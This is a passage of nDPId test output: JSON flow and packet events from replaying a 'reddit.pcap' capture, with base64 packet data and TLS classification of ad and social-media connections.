avZUB4JLXBngpKyhvQUwKL1\/bFFqpZMHccmshw9BeiLzFlHOaql+6PFwpIl4YdLUEHWh4PxJlURWWvUVhuxRdUnA=="} +00849{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1962,"source":"reddit.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":6,"flow_first_seen":1605291686996,"flow_last_seen":1605291687096,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::6853:b3b6","src_port":38320,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"c.aaxads.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02338{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1963,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":96860,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAGhTs7YqAcsBIEmLB5kd7IUo3\/YpAbuVsAngAr9tBZw3gBgLMLsyAAABAQgKwtc8qXOjJWJ9vuEw\/ThTFafwMs0DrqDhjt\/i96kE2+0HTP3V8xo5ptFiod4XDlQt8wanBjOh1S2A6UmA+GAuCiinErBOGpc5DkbOdCFV4ps8r9PFLUCePhtKuX7JsZrw8fVmfB5AkvCVZYBblre48pvBbPFjgRB2X6XBSoYw9t1IcFRJo7clAFlcGtXpdfqrFT\/iJud6u+VH1tqjxtBBiN5Q1JGtFJFpRI4o2j7uZp74uaLSqmlm182uCqhGk2puPfMTWYa+vzyx9tFQRxhSvVB50WaW9c216Qp5LUfPiQ+lKdUdtOD4MZLGDQrs9iHDd98VbRPN4f\/J7FtFKYHzLfEBLBTArNKXO57M8WrqNCAZcfFrhUiXyg9wptAZtr9TNC2O9rGl+DJuUs5NIKA7wzQpT+CWOF2QZ2NrHdFFMcUFjV8riiDLRcV+Ei7rnrGWSkNrJA+o\/KQKX2mvWTGGcXyUFTbkQjdgt794b\/3JMmtR\/fK65SBKwveo011Iz5Igx0LYddUxNvawT3RVITNGMTRWB7gvEnqv5eCI5QeZkDCNOOzfNfaMVL0p8g2XuqzdzWkdS6kA3vk\/bDP8PWhjX39g4+wPOa8ZLgYCrSPPJ5JwSYlAPJbOoLnHZgd0mselHZG2aNxPcQQC1uc76fAzy+\/P3dw8HUl2YxLiRYGC13yXo7HQOFyNBP7NGYsiQmKWPGuEs8994C\/Sr1\/A59jl40C33HSW06u7esdSjbVxOm9S+SvWijad0MxmrwSOakosC9QzVZldifXwaT\/A2yuzzNpwP6YdZ5Zg4iLi9bGzYrH4FqqdxrPWdai7mAuFazdPrvRhJRaUHHlyWOyUrn583ZZNVUXJO9IxlDTfmvZlYeaatW\/7ILb6N8lUkLBdgyW0+NPJvFQwb2Jp5W3LLhiRKLV79K0X3V0eyz\/1wQuwWdesHDNr2ieMyDQTs5Mjlp2MGxa1Tvhq0EUtb427A6krKrlBe5QvySn\/uItxSkwS0yyWselmTV5e0DymOy0zYm7Q2qL38inrdHHVxShu8t4QS++AvJIbBTMEbQr3AjD2Mpt\/KQgbZbaarjyluiYDru\/B2JkOzl2ha5xg3jV01xMUTWZB8\/ADblVo2CFOHyCf6SM7j8qjrJOJB75egtyKJNU64nuxW2cVHoAhMARmsE4AHltYf3KwjOi4ptCvu3GA8hw75LM10IyIwJKbG9qKpPAAqJxyU\/jsUj66kk+OxPWwd2PFXG0qeGoiT65zXXUS1g+8wfY9vHVo7SE6vgT99i8oPFT7ApTJtgr7X+vzPgbaW+s\/Cnxvrkt4cXI0wVNDnjcm7m83juvCHAcFdAMAoDplkkXYth9pcsUsdD1BCGMC+FUkZct300JVtYsbGFZP5ekmtmD9Y6oYoA9kS4abbkhPFGmwvrqNRJVma5Z1SlSQJBbHNSaSgWxPtVHScynQ6blJGs0jaKDHBSrVX\/cId5wijWTnUTFwXwEKwkLaYwMAezGv6T7R9wHgXdtKHFRGUgQpAWLUCXxAez4bPiY7qIkDd+ryUnsSICyCsGdyJGzS8jfOSa6DpnnW\/AQZr5gY26T9cWWeSB1jf+rlAickGvJc3xMgPTKyUORYDHjkNtNo8CQ8Pwq9zLtl1WzP7i069YXfEft0TIv3b2Tt2FPeUQs6aXasRf3738A1kzbNKy1CRq2IyUbV51CWfTVw+nGlHgYDwVG02r4Mh0tgreiAIhqbIF5KJia88jZNT7bjA5JI1kBWBfmvsAoemVFnBgKwaWdajdwQ1UUzEVVseEw\/0cD0FscT7pWAiRcD+\/w1c\/bT1N09RTv9MsZAAsl8iKFgZKdQ4eqcI8sxd6hhaoTQ0f8i0muhBw=="} +00779{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1964,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":96860,"pkt_caplen":324,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":324,"pkt_l4_len":270,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAQ4GPQBk\/5sAAAAAAAAAAGhTs7YqAcsBIEmLB5kd7IUo3\/YpAbuVsAngCCttBZw3gBgLMBi9AAABAQgKwtc8qXOjJWLVoULR7Q9V2rIPKiUxoXF35KjSgvcWeMi+kPpQEQL3c3SVw9jyx66\/tE0W2vKsddsGR13DkTjb+96PaqotZhcDAwBhjHl7i5HNjqksylN1eNcm5CLUY\/RIzP3IduDQpA\/Gi7c+a6oXIZKXtBMdUqSG0cqtChn1bs6UKk9l6ZElcu1VrsS2bEkuoQN8DFZUhkOsADcvJAqRbEqV8jfgvbOh4cSTYRcDAwBF3orx51IqRkoCntzkBk\/RIR6nynfZe2EWZiT89CxGE7FN7axExT0Toj3NWz1a8Zau\/OsMziC5kYMpq5cyfMy1FteKvERr"} +00454{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1965,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":96875,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FnDcJ4AK\/gBAB9c2oAAABAQgKc6MlqsLXPKk="} +00454{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1966,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":96913,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FnDcJ4AgrgBAB8MhBAAABAQgKc6MlqsLXPKk="} +00454{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1967,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":96916,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FnDcJ4AkZgBAB78dUAAABAQgKc6MlqsLXPKk="} +00456{"flow_id":22,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1968,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":98793,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgFAAAAAAAAIAIqAcsBIEmLB5kd7IUo3\/YpAbvHENPm9ey3bhIVgBALOO\/FAAABAQgKwtc8rFRf4Fo="} +00566{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1969,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":99439,"pkt_caplen":166,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":166,"pkt_l4_len":112,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fAHAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FnDcJ4AkZgBgB9S2EAAABAQgKc6MlrcLXPKkUAwMAAQEXAwMARUWhDZfuxiMk7fQubfiMm7+27dZfRH4UDKnLUK298SJF8Y9ySD9V+KA6mu03fkwRXwBD\/EC7HmO2NY5P65C733Gt9NmGpg=="} +00584{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1971,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":99567,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fAHwGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FnIcJ4AkZgBgB9fylAAABAQgKc6MlrcLXPKkXAwMAV\/z+RxkDlJXvgJNE2QhL+h5zglcobEvykxlM2AKYZ1uN5JO5pwiygkhPt1HcMkVQ4O1yuZIvKq\/6AA1RewBjfYBqXii4ludFjv0O\/IMDmsQbRZqJwFtiOw=="} +00834{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1972,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":99697,"pkt_caplen":364,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":364,"pkt_l4_len":310,"pkt":"qtsDr8lk5EKm5WPyht1gCh2fATYGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABoU7O2lbABu20FnOMJ4AkZgBgB9T2pAAABAQgKc6MlrcLXPKkXAwMBEel4+2s26Q\/\/+VvqkI2wNh1vDtUyVrJe1S2V8IXhhSKyES07bw5YW+WDEWHhUs+h3LkoPS4AlKY2do5hp3rzAARAqv5+t1ykm3xgDzVh3cRIDZoL1OdifHKhz6PJzxZsq4EE6ZKWId9JwohEbKkSl8QtpvPET6gzn1rPY+ONP8e1W8xQ49JnxqyzqD6JTv1UkNGZmQnFz1tZNZceTwCHV+E4k3QZV6+lk6JSTdUmtBaK9HcuJezt2oBrsjqnytxmKjyy\/TtPkrVTmQmWamPhh\/IMQ+Kkeycct+uiMQ1LoeqV\/KxEH4emAjvSUkzAdPcMT5nLzFy4gAIs51Tmhmbu7RRXJdI3qFS+vYeEI9GbLFFxgg=="} +00457{"flow_id":24,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2033,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":128102,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAGhTs7YqAcsBIEmLB5kd7IUo3\/YpAbuVsAngCRltBZyHgBALOr2VAAABAQgKwtc8ynOjJa0="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2333,"source":"reddit.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1605291687485,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::acd9:12c2","src_port":51026,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2333,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":485783,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PXZ4AAAAAoAL9IP2VAAACBAWgBAIICruOxrcAAAAAAQMDBw=="} +00468{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2341,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":512994,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAKzZEsIqAcsBIEmLB5kd7IUo3\/YpAbvHUvrRnoyfz12foBJXgAjWAAACBAV4AQMDAwQCCArC1z5Fu47Gtw=="} +00456{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2342,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":513017,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PXZ\/60Z6NgBAB+4zMAAABAQgKu47G0sLXPkU="} +01150{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2343,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":513279,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PXZ\/60Z6NgBgB+yruAAABAQgKu47G08LXPkUWAwECAAEAAfwDA8gKXcgEK+eLAD0eAVBdxP494QtA9Q6J19dpsrnIF6s\/IJFjz4OkKAOopoyn1vDuvI+kyb3ehZCReTI9qtpTfphWACBKShMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAIwAhAAAec2VjdXJlcHViYWRzLmcuZG91YmxlY2xpY2submV0ABcAAP8BAAEAAAoACgAIKioAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkqKgABAAAdACCM+kww4XBsO9uZgHbtPEkxRf\/Li4AsKAzJSNegqbyUJAAtAAIBAQArAAsKGhoDBAMDAwIDAQAbAAMCAAJqagABAAAVAL4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00836{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2343,"source":"reddit.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":4,"flow_first_seen":1605291687485,"flow_last_seen":1605291687513,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::acd9:12c2","src_port":51026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"securepubads.g.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2344,"source":"reddit.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1605291687514,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:789d","src_port":48240,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2344,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":514756,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2N5MAAAAAoAL9IOSoAAACBAWgBAIICiRA7pIAAAAAAQMDBw=="} +00456{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2350,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":545133,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAKzZEsIqAcsBIEmLB5kd7IUo3\/YpAbvHUvrRno2fz1+kgBALMIFtAAABAQgKwtc+abuOxtM="} +00468{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2351,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":545133,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGxxKx0ItjeUoBJXgPGUAAACBAV4AQMDAwQCCArC1z5pJEDukg=="} +00454{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2353,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":545171,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2N5RscSsegBAB+3WHAAABAQgKJEDuscLXPmk="} +01148{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2355,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":545503,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2N5RscSsegBgB+1xOAAABAQgKJEDuscLXPmkWAwECAAEAAfwDA6sAiYRVVUdNeU6qgV+6RMsMCIZAzjq+68NrjIRzdTDzIH6Nje53IGXhSc03yuiyvZsWos5mhh1w53jt4PUlCtOeACCqqhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAGQAXAAAUcGxhdGZvcm0udHdpdHRlci5jb20AFwAA\/wEAAQAACgAKAAjKygAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKcrKAAEAAB0AIAjq9VoWgWPxpcjAD3ywxiF\/9WPMGppuo1idcmIeMRgoAC0AAgEBACsACwq6ugMEAwMDAgMBABsAAwIAAgoKAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2355,"source":"reddit.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":4,"flow_first_seen":1605291687514,"flow_last_seen":1605291687545,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:789d","src_port":48240,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Twitter","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"platform.twitter.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02351{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2356,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":552593,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAKzZEsIqAcsBIEmLB5kd7IUo3\/YpAbvHUvrRno2fz1+kgBgLMJ\/wAAABAQgKwtc+cbuOxtMWAwMAegIAAHYDA4Q0971tD42BDRCXxrYNmfzE5rvpRxqd8xm667gcIHKWIJFjz4OkKAOopoyn1vDuvI+kyb3ehZCReTI9qtpTfphWEwEAAC4AMwAkAB0AICxsO6jn1UeoH\/z3pcQ\/Ea+9PZYgR9JnTANSP8\/4EKhYACsAAgMEFAMDAAEBFwMDCrSD59bD\/ytbouyCH9KSOmw2ZHEhH6iwO4PphPlpiIWJ\/WwC++GTP5QZwlRULUiS3MwC0pCMIRESk5yQKKTcGHjmE8P\/+h40xZ0mTU1c\/MzjG28jyBo8GyN6n5tyDlnlNPMO+LbV4cuJWVVZID7SExmVRcZM86PpFoKIl\/+X0GTIA8lwOzGRt0wWfTpN7m1VJ6jE6vszsPVPwZPwKZYK7gGAeoEdD4eUJZy7HVZAV6fUpwl5niVK0\/Dd3uBLeUA0sq9jFTza1UwzClg3aP9opjkx9nJVL2C7mlu4aC2P3OzBsxa6+RO2MXDoXjFVlgh9rdtjDX5wyxZ8snopH4ETywGlWNdlePJSY28EMFZ8gKzekh\/cbqw8NV8vdEA49pT\/OzI55CY4boDCCWtxmsCosFa5trXBU1EJ5a7SbcdRf4Vr1l76OpTzS7WzdFA6KN\/S8CmsUUIKA4hIh9xtq+C08paInD\/ZJAvcrifEVgbhPtBcNB5Xp7kYFdCa7AO24ErtuxpzldGmxBNZlf1kTkNPqBWhUt3ktU8AZfILO1XSO9RbzaPty2sdqhisI2hh6hkBlI1Mq9A7npIZcfL7xXOPkgGWy9\/ASSyu6HCvhjFaQ7XYOGLuSsmhMvN8Ilk7HZRvXQMET80bP+RLqNpVwkWJlgFFZSNv1\/lCL3At8qQNKhQ7JFbAfpMkp5MtM5AlJkq4TTKeZVSZr\/nUmlXU+A+Sa6BSqI6QOeUPGu5Umm4mf30Wr+382CLjqQ3HZhjqx\/yG\/Kw\/KkZuNtY8RCtLXMUEUOT\/XBrfOQuc512EnvmRQnpsN1WnLVMbaQJIKC0ZTM22L4gfa3eZoHtVVRjD0\/N\/bowAKohWf1G7b6wznOk1HZQx8Sc0oxB7ulPTbODjQiRCF\/UXSBuzrUJGaZduMSE\/gqsH\/MBY9UbCOP3wNzkBlRgn5zZdc7RDRdPlCjT5eYVZNLaOQjUSl+puh\/eHA0ahYUtQsFB28VfdVS5KaB66tyNP4GHfb+zeIDqtYI70ZHBfQPHDbIIvylICxQPCwtbXJ+cT5Mz4V7abr1i7g4WgiHcM0cPzOI9AKx5+QDdJYGDFeRPOTvnVMMdeLnomQmp5zsS+Om0Li+\/OiS+NfRRWHFAlH75ey3gxHoSyDYBvY\/Ybgmu2+A64SRFAQNNmc7YCiChAgo5GrO1YXse7zliPoHEo2lbiv9qm5j8YXUb7oQ987so4ifVkwaB81+qBkESeAOuv1VEV1PX5t9mlTgAlWduZwxKbU1yy6dPX+gqzdLR5oeyWOb+DW6h5XgD87MruFnnQL17s43AWYn2snqgYSZoqpjL47UU9GmXIPaMn2PGIfHG5RocrtKj6lePDemdgpS\/k0SMoRPcsY6\/B26\/Wb78dJv7qjY\/\/L7dFF+9Qv0BHy7AnplzUpNLy\/CvKFb0T+erEtQBNzSnXbh9ZCu9zfDw2S3VRfirZ4bEjwdtUkZqDLAMA8N7AH7lOjm+pIZKHrSh431FB4o4mBSO4PvXUUcfzBR\/I2lJYpPkZ8OWbZ2ku55D1zboVc4rkHBuzmQ0qLl7FcuUOr1eZePgp\/g2LwzYZxypw+gh3IhvYZQrwMQmJxmCQjxfZ9vCijFTwRcOUDGyFuEA8PdHLADqs3ipI6r2zVwDtDXgaD8vw11KC3cVJ7BbXWg=="} +00877{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2356,"source":"reddit.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":6,"flow_first_seen":1605291687485,"flow_last_seen":1605291687552,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::acd9:12c2","src_port":51026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"securepubads.g.doubleclick.net","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} 